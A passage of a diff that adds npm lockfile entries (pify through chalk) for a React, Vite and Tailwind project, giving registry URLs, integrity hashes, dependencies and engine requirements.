+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
+ "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/pirates": {
+ "version": "4.0.5",
+ "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.5.tgz",
+ "integrity": "sha512-8V9+HQPupnaXMA23c5hvl69zXvTwTzyAYasnkb0Tts4XvO4CliqONMOnvlq26rkhLC3nWDFBJf73LU1e1VZLaQ==",
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/postcss": {
+ "version": "8.4.21",
+ "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.21.tgz",
+ "integrity": "sha512-tP7u/Sn/dVxK2NnruI4H9BG+x+Wxz6oeZ1cJ8P6G/PZY0IKk4k/63TDsQf2kQq3+qoJeLm2kIBUNlZe3zgb4Zg==",
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/postcss"
+ }
+ ],
+ "dependencies": {
+ "nanoid": "^3.3.4",
+ "picocolors": "^1.0.0",
+ "source-map-js": "^1.0.2"
+ },
+ "engines": {
+ "node": "^10 || ^12 || >=14"
+ }
+ },
+ "node_modules/postcss-import": {
+ "version": "14.1.0",
+ "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-14.1.0.tgz",
+ "integrity": "sha512-flwI+Vgm4SElObFVPpTIT7SU7R3qk2L7PyduMcokiaVKuWv9d/U+Gm/QAd8NDLuykTWTkcrjOeD2Pp1rMeBTGw==",
+ "dependencies": {
+ "postcss-value-parser": "^4.0.0",
+ "read-cache": "^1.0.0",
+ "resolve": "^1.1.7"
+ },
+ "engines": {
+ "node": ">=10.0.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.0.0"
+ }
+ },
+ "node_modules/postcss-js": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.1.tgz",
+ "integrity": "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==",
+ "dependencies": {
+ "camelcase-css": "^2.0.1"
+ },
+ "engines": {
+ "node": "^12 || ^14 || >= 16"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ "peerDependencies": {
+ "postcss": "^8.4.21"
+ }
+ },
+ "node_modules/postcss-load-config": {
+ "version": "3.1.4",
+ "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-3.1.4.tgz",
+ "integrity": "sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg==",
+ "dependencies": {
+ "lilconfig": "^2.0.5",
+ "yaml": "^1.10.2"
+ },
+ "engines": {
+ "node": ">= 10"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ "peerDependencies": {
+ "postcss": ">=8.0.9",
+ "ts-node": ">=9.0.0"
+ },
+ "peerDependenciesMeta": {
+ "postcss": {
+ "optional": true
+ },
+ "ts-node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/postcss-nested": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.0.0.tgz",
+ "integrity": "sha512-0DkamqrPcmkBDsLn+vQDIrtkSbNkv5AD/M322ySo9kqFkCIYklym2xEmWkwo+Y3/qZo34tzEPNUw4y7yMCdv5w==",
+ "dependencies": {
+ "postcss-selector-parser": "^6.0.10"
+ },
+ "engines": {
+ "node": ">=12.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.14"
+ }
+ },
+ "node_modules/postcss-selector-parser": {
+ "version": "6.0.11",
+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.11.tgz",
+ "integrity": "sha512-zbARubNdogI9j7WY4nQJBiNqQf3sLS3wCP4WfOidu+p28LofJqDH1tcXypGrcmMHhDk2t9wGhCsYe/+szLTy1g==",
+ "dependencies": {
+ "cssesc": "^3.0.0",
+ "util-deprecate": "^1.0.2"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/postcss-value-parser": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz",
+ "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ=="
+ },
+ "node_modules/queue-microtask": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
+ "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ]
+ },
+ "node_modules/quick-lru": {
+ "version": "5.1.1",
+ "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz",
+ "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==",
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/react": {
+ "version": "18.2.0",
+ "resolved": "https://registry.npmjs.org/react/-/react-18.2.0.tgz",
+ "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==",
+ "dependencies": {
+ "loose-envify": "^1.1.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/react-dom": {
+ "version": "18.2.0",
+ "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.2.0.tgz",
+ "integrity": "sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n4YFS+r/Kl99wXiwlVXtPBtJenozv2P+hxDsw9eA7Xo6g==",
+ "dependencies": {
+ "loose-envify": "^1.1.0",
+ "scheduler": "^0.23.0"
+ },
+ "peerDependencies": {
+ "react": "^18.2.0"
+ }
+ },
+ "node_modules/react-hot-toast": {
+ "version": "2.4.0",
+ "resolved": "https://registry.npmjs.org/react-hot-toast/-/react-hot-toast-2.4.0.tgz",
+ "integrity": "sha512-qnnVbXropKuwUpriVVosgo8QrB+IaPJCpL8oBI6Ov84uvHZ5QQcTp2qg6ku2wNfgJl6rlQXJIQU5q+5lmPOutA==",
+ "dependencies": {
+ "goober": "^2.1.10"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "peerDependencies": {
+ "react": ">=16",
+ "react-dom": ">=16"
+ }
+ },
+ "node_modules/react-refresh": {
+ "version": "0.14.0",
+ "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.14.0.tgz",
+ "integrity": "sha512-wViHqhAd8OHeLS/IRMJjTSDHF3U9eWi62F/MledQGPdJGDhodXJ9PBLNGr6WWL7qlH12Mt3TyTpbS+hGXMjCzQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/react-remove-scroll": {
+ "version": "2.5.5",
+ "resolved": "https://registry.npmjs.org/react-remove-scroll/-/react-remove-scroll-2.5.5.tgz",
+ "integrity": "sha512-ImKhrzJJsyXJfBZ4bzu8Bwpka14c/fQt0k+cyFp/PBhTfyDnU5hjOtM4AG/0AMyy8oKzOTR0lDgJIM7pYXI0kw==",
+ "dependencies": {
+ "react-remove-scroll-bar": "^2.3.3",
+ "react-style-singleton": "^2.2.1",
+ "tslib": "^2.1.0",
+ "use-callback-ref": "^1.3.0",
+ "use-sidecar": "^1.1.2"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "peerDependencies": {
+ "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0",
+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/react-remove-scroll-bar": {
+ "version": "2.3.4",
+ "resolved": "https://registry.npmjs.org/react-remove-scroll-bar/-/react-remove-scroll-bar-2.3.4.tgz",
+ "integrity": "sha512-63C4YQBUt0m6ALadE9XV56hV8BgJWDmmTPY758iIJjfQKt2nYwoUrPk0LXRXcB/yIj82T1/Ixfdpdk68LwIB0A==",
+ "dependencies": {
+ "react-style-singleton": "^2.2.1",
+ "tslib": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "peerDependencies": {
+ "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0",
+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/react-router": {
+ "version": "6.14.0",
+ "resolved": "https://registry.npmjs.org/react-router/-/react-router-6.14.0.tgz",
+ "integrity": "sha512-OD+vkrcGbvlwkspUFDgMzsu1RXwdjNh83YgG/28lBnDzgslhCgxIqoExLlxsfTpIygp7fc+Hd3esloNwzkm2xA==",
+ "dependencies": {
+ "@remix-run/router": "1.7.0"
+ },
+ "engines": {
+ "node": ">=14"
+ },
+ "peerDependencies": {
+ "react": ">=16.8"
+ }
+ },
+ "node_modules/react-router-dom": {
+ "version": "6.14.0",
+ "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-6.14.0.tgz",
+ "integrity": "sha512-YEwlApKwzMMMbGbhh+Q7MsloTldcwMgHxUY/1g0uA62+B1hZo2jsybCWIDCL8zvIDB1FA0pBKY9chHbZHt+2dQ==",
+ "dependencies": {
+ "@remix-run/router": "1.7.0",
+ "react-router": "6.14.0"
+ },
+ "engines": {
+ "node": ">=14"
+ },
+ "peerDependencies": {
+ "react": ">=16.8",
+ "react-dom": ">=16.8"
+ }
+ },
+ "node_modules/react-style-singleton": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/react-style-singleton/-/react-style-singleton-2.2.1.tgz",
+ "integrity": "sha512-ZWj0fHEMyWkHzKYUr2Bs/4zU6XLmq9HsgBURm7g5pAVfyn49DgUiNgY2d4lXRlYSiCif9YBGpQleewkcqddc7g==",
+ "dependencies": {
+ "get-nonce": "^1.0.0",
+ "invariant": "^2.2.4",
+ "tslib": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "peerDependencies": {
+ "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0",
+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/read-cache": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz",
+ "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==",
+ "dependencies": {
+ "pify": "^2.3.0"
+ }
+ },
+ "node_modules/readdirp": {
+ "version": "3.6.0",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
+ "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+ "dependencies": {
+ "picomatch": "^2.2.1"
+ },
+ "engines": {
+ "node": ">=8.10.0"
+ }
+ },
+ "node_modules/regenerator-runtime": {
+ "version": "0.13.11",
+ "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz",
+ "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg=="
+ },
+ "node_modules/resolve": {
+ "version": "1.22.2",
+ "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.2.tgz",
+ "integrity": "sha512-Sb+mjNHOULsBv818T40qSPeRiuWLyaGMa5ewydRLFimneixmVy2zdivRl+AF6jaYPC8ERxGDmFSiqui6SfPd+g==",
+ "dependencies": {
+ "is-core-module": "^2.11.0",
+ "path-parse": "^1.0.7",
+ "supports-preserve-symlinks-flag": "^1.0.0"
+ },
+ "bin": {
+ "resolve": "bin/resolve"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/reusify": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz",
+ "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==",
+ "engines": {
+ "iojs": ">=1.0.0",
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/rollup": {
+ "version": "3.20.2",
+ "resolved": "https://registry.npmjs.org/rollup/-/rollup-3.20.2.tgz",
+ "integrity": "sha512-3zwkBQl7Ai7MFYQE0y1MeQ15+9jsi7XxfrqwTb/9EK8D9C9+//EBR4M+CuA1KODRaNbFez/lWxA5vhEGZp4MUg==",
+ "devOptional": true,
+ "bin": {
+ "rollup": "dist/bin/rollup"
+ },
+ "engines": {
+ "node": ">=14.18.0",
+ "npm": ">=8.0.0"
+ },
+ "optionalDependencies": {
+ "fsevents": "~2.3.2"
+ }
+ },
+ "node_modules/run-parallel": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
+ "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ],
+ "dependencies": {
+ "queue-microtask": "^1.2.2"
+ }
+ },
+ "node_modules/scheduler": {
+ "version": "0.23.0",
+ "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.0.tgz",
+ "integrity": "sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==",
+ "dependencies": {
+ "loose-envify": "^1.1.0"
+ }
+ },
+ "node_modules/semver": {
+ "version": "6.3.0",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+ "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
+ "dev": true,
+ "bin": {
+ "semver": "bin/semver.js"
+ }
+ },
+ "node_modules/source-map-js": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz",
+ "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/sucrase": {
+ "version": "3.32.0",
+ "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.32.0.tgz",
+ "integrity": "sha512-ydQOU34rpSyj2TGyz4D2p8rbktIOZ8QY9s+DGLvFU1i5pWJE8vkpruCjGCMHsdXwnD7JDcS+noSwM/a7zyNFDQ==",
+ "dependencies": {
+ "@jridgewell/gen-mapping": "^0.3.2",
+ "commander": "^4.0.0",
+ "glob": "7.1.6",
+ "lines-and-columns": "^1.1.6",
+ "mz": "^2.7.0",
+ "pirates": "^4.0.1",
+ "ts-interface-checker": "^0.1.9"
+ },
+ "bin": {
+ "sucrase": "bin/sucrase",
+ "sucrase-node": "bin/sucrase-node"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/supports-color": {
+ "version": "5.5.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+ "dev": true,
+ "dependencies": {
+ "has-flag": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/supports-preserve-symlinks-flag": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
+ "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/tailwind-merge": {
+ "version": "1.13.2",
+ "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-1.13.2.tgz",
+ "integrity": "sha512-R2/nULkdg1VR/EL4RXg4dEohdoxNUJGLMnWIQnPKL+O9Twu7Cn3Rxi4dlXkDzZrEGtR+G+psSXFouWlpTyLhCQ==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/dcastil"
+ }
+ },
+ "node_modules/tailwindcss": {
+ "version": "3.3.1",
+ "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.3.1.tgz",
+ "integrity": "sha512-Vkiouc41d4CEq0ujXl6oiGFQ7bA3WEhUZdTgXAhtKxSy49OmKs8rEfQmupsfF0IGW8fv2iQkp1EVUuapCFrZ9g==",
+ "dependencies": {
+ "arg": "^5.0.2",
+ "chokidar": "^3.5.3",
+ "color-name": "^1.1.4",
+ "didyoumean": "^1.2.2",
+ "dlv": "^1.1.3",
+ "fast-glob": "^3.2.12",
+ "glob-parent": "^6.0.2",
+ "is-glob": "^4.0.3",
+ "jiti": "^1.17.2",
+ "lilconfig": "^2.0.6",
+ "micromatch": "^4.0.5",
+ "normalize-path": "^3.0.0",
+ "object-hash": "^3.0.0",
+ "picocolors": "^1.0.0",
+ "postcss": "^8.0.9",
+ "postcss-import": "^14.1.0",
+ "postcss-js": "^4.0.0",
+ "postcss-load-config": "^3.1.4",
+ "postcss-nested": "6.0.0",
+ "postcss-selector-parser": "^6.0.11",
+ "postcss-value-parser": "^4.2.0",
+ "quick-lru": "^5.1.1",
+ "resolve": "^1.22.1",
+ "sucrase": "^3.29.0"
+ },
+ "bin": {
+ "tailwind": "lib/cli.js",
+ "tailwindcss": "lib/cli.js"
+ },
+ "engines": {
+ "node": ">=12.13.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.0.9"
+ }
+ },
+ "node_modules/tailwindcss-animate": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/tailwindcss-animate/-/tailwindcss-animate-1.0.6.tgz",
+ "integrity": "sha512-4WigSGMvbl3gCCact62ZvOngA+PRqhAn7si3TQ3/ZuPuQZcIEtVap+ENSXbzWhpojKB8CpvnIsrwBu8/RnHtuw==",
+ "peerDependencies": {
+ "tailwindcss": ">=3.0.0 || insiders"
+ }
+ },
+ "node_modules/tailwindcss/node_modules/color-name": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+ },
+ "node_modules/thenify": {
+ "version": "3.3.1",
+ "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz",
+ "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==",
+ "dependencies": {
+ "any-promise": "^1.0.0"
+ }
+ },
+ "node_modules/thenify-all": {
+ "version": "1.6.0",
+ "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz",
+ "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==",
+ "dependencies": {
+ "thenify": ">= 3.1.0 < 4"
+ },
+ "engines": {
+ "node": ">=0.8"
+ }
+ },
+ "node_modules/to-fast-properties": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz",
+ "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==",
+ "dev": true,
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dependencies": {
+ "is-number": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=8.0"
+ }
+ },
+ "node_modules/ts-interface-checker": {
+ "version": "0.1.13",
+ "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz",
+ "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA=="
+ },
+ "node_modules/tsconfck": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/tsconfck/-/tsconfck-2.1.1.tgz",
+ "integrity": "sha512-ZPCkJBKASZBmBUNqGHmRhdhM8pJYDdOXp4nRgj/O0JwUwsMq50lCDRQP/M5GBNAA0elPrq4gAeu4dkaVCuKWww==",
+ "bin": {
+ "tsconfck": "bin/tsconfck.js"
+ },
+ "engines": {
+ "node": "^14.13.1 || ^16 || >=18"
+ },
+ "peerDependencies": {
+ "typescript": "^4.3.5 || ^5.0.0"
+ },
+ "peerDependenciesMeta": {
+ "typescript": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/tslib": {
+ "version": "2.5.3",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.5.3.tgz",
+ "integrity": "sha512-mSxlJJwl3BMEQCUNnxXBU9jP4JBktcEGhURcPR6VQVlnP0FdDEsIaz0C35dXNGLyRfrATNofF0F5p2KPxQgB+w=="
+ },
+ "node_modules/typescript": {
+ "version": "4.9.5",
+ "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.9.5.tgz",
+ "integrity": "sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g==",
+ "devOptional": true,
+ "bin": {
+ "tsc": "bin/tsc",
+ "tsserver": "bin/tsserver"
+ },
+ "engines": {
+ "node": ">=4.2.0"
+ }
+ },
+ "node_modules/universalify": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
+ "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==",
+ "dev": true,
+ "engines": {
+ "node": ">= 10.0.0"
+ }
+ },
+ "node_modules/update-browserslist-db": {
+ "version": "1.0.10",
+ "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.10.tgz",
+ "integrity": "sha512-OztqDenkfFkbSG+tRxBeAnCVPckDBcvibKd35yDONx6OU8N7sqgwc7rCbkJ/WcYtVRZ4ba68d6byhC21GFh7sQ==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/browserslist"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/browserslist"
+ }
+ ],
+ "dependencies": {
+ "escalade": "^3.1.1",
+ "picocolors": "^1.0.0"
+ },
+ "bin": {
+ "browserslist-lint": "cli.js"
+ },
+ "peerDependencies": {
+ "browserslist": ">= 4.21.0"
+ }
+ },
+ "node_modules/use-callback-ref": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/use-callback-ref/-/use-callback-ref-1.3.0.tgz",
+ "integrity": "sha512-3FT9PRuRdbB9HfXhEq35u4oZkvpJ5kuYbpqhCfmiZyReuRgpnhDlbr2ZEnnuS0RrJAPn6l23xjFg9kpDM+Ms7w==",
+ "dependencies": {
+ "tslib": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "peerDependencies": {
+ "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0",
+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/use-sidecar": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/use-sidecar/-/use-sidecar-1.1.2.tgz",
+ "integrity": "sha512-epTbsLuzZ7lPClpz2TyryBfztm7m+28DlEv2ZCQ3MDr5ssiwyOwGH/e5F9CkfWjJ1t4clvI58yF822/GUkjjhw==",
+ "dependencies": {
+ "detect-node-es": "^1.1.0",
+ "tslib": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "peerDependencies": {
+ "@types/react": "^16.9.0 || ^17.0.0 || ^18.0.0",
+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/util-deprecate": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
+ "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="
+ },
+ "node_modules/vite": {
+ "version": "4.2.1",
+ "resolved": "https://registry.npmjs.org/vite/-/vite-4.2.1.tgz",
+ "integrity": "sha512-7MKhqdy0ISo4wnvwtqZkjke6XN4taqQ2TBaTccLIpOKv7Vp2h4Y+NpmWCnGDeSvvn45KxvWgGyb0MkHvY1vgbg==",
+ "devOptional": true,
+ "dependencies": {
+ "esbuild": "^0.17.5",
+ "postcss": "^8.4.21",
+ "resolve": "^1.22.1",
+ "rollup": "^3.18.0"
+ },
+ "bin": {
+ "vite": "bin/vite.js"
+ },
+ "engines": {
+ "node": "^14.18.0 || >=16.0.0"
+ },
+ "optionalDependencies": {
+ "fsevents": "~2.3.2"
+ },
+ "peerDependencies": {
+ "@types/node": ">= 14",
+ "less": "*",
+ "sass": "*",
+ "stylus": "*",
+ "sugarss": "*",
+ "terser": "^5.4.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ },
+ "less": {
+ "optional": true
+ },
+ "sass": {
+ "optional": true
+ },
+ "stylus": {
+ "optional": true
+ },
+ "sugarss": {
+ "optional": true
+ },
+ "terser": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/vite-plugin-compression": {
+ "version": "0.5.1",
+ "resolved": "https://registry.npmjs.org/vite-plugin-compression/-/vite-plugin-compression-0.5.1.tgz",
+ "integrity": "sha512-5QJKBDc+gNYVqL/skgFAP81Yuzo9R+EAf19d+EtsMF/i8kFUpNi3J/H01QD3Oo8zBQn+NzoCIFkpPLynoOzaJg==",
+ "dev": true,
+ "dependencies": {
+ "chalk": "^4.1.2",
+ "debug": "^4.3.3",
+ "fs-extra": "^10.0.0"
+ },
+ "peerDependencies": {
+ "vite": ">=2.0.0"
+ }
+ },
+ "node_modules/vite-plugin-compression/node_modules/ansi-styles": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
+ "dependencies": {
+ "color-convert": "^2.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+ }
+ },
+ "node_modules/vite-plugin-compression/node_modules/chalk": {
+ "version": "4.1.2",
